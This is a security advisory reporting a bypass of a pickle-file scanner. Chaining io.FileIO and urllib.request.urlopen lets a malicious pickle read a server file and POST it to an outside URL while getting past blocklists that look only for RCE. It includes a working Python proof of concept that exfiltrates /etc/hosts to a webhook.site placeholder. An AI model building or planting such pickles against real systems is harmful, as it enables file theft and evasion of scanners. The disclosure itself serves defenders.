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PYSEC-2026-1787

HighCVSS 7.5 / 10
Published Jul 7, 2026·Last modified Jul 7, 2026
Affected Components(0)

No affected components available

Description

Summary

Unsafe pickle deserialization allows unauthenticated attackers to read arbitrary server files and perform SSRF. By chaining io.FileIO and urllib.request.urlopen, an attacker can bypass RCE-focused blocklists to exfiltrate sensitive data (example: /etc/passwd) to an external server.

Details

The application deserializes untrusted pickle data. While RCE keywords (os, exec) may be blocked, the exploit abuses standard library features:

  1. io.FileIO: Opens local files without using builtins.open.

  2. urllib.request.urlopen: Accepts the file object as an iterable body for a POST request.

  3. Data Exfiltration: The file content is streamed directly to an attacker-controlled URL during unpickling.

PoC

import pickle, io, urllib.request

class GetFile:
    def __reduce__(self):
        return (io.FileIO, ('/etc/hosts', 'r'))

class Exfiltrate:
    def __reduce__(self):
        return (urllib.request.urlopen, ('https://webhook.site/YOUR_UUID_HERE', GetFile()))

with open("bypass_http.pkl", "wb") as f:
    pickle.dump(Exfiltrate(), f)
<img width="650" height="114" alt="Screenshot 2025-12-30 at 10 13 14 PM" src="https://github.com/user-attachments/assets/4edf9640-80f6-4701-ae87-cff1079e2994" />

Impact

  • Arbitrary file read

Thanks for this library and your time. If you think picklescan is focused on detecting only RCE kind of vulnerabilities rather adding File IO, Http or any protocol based may cause lot of noise, feel free to close this issue.

Risk Scores
Base Score
7.5

The vulnerability can be exploited over the network without needing physical access. It is easy for an attacker to exploit this vulnerability. An attacker does not need any special privileges or access rights. No user interaction is needed for the attacker to exploit this vulnerability. The impact is confined to the system where the vulnerability exists. There is a high impact on the confidentiality of the information.

Threat Intelligence
6.9

Exploitation attempts have been detected. Elevated vigilance and prompt remediation are advised.

EPSS
0.51%

The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.

Exploit
Not available

We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.

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High severity
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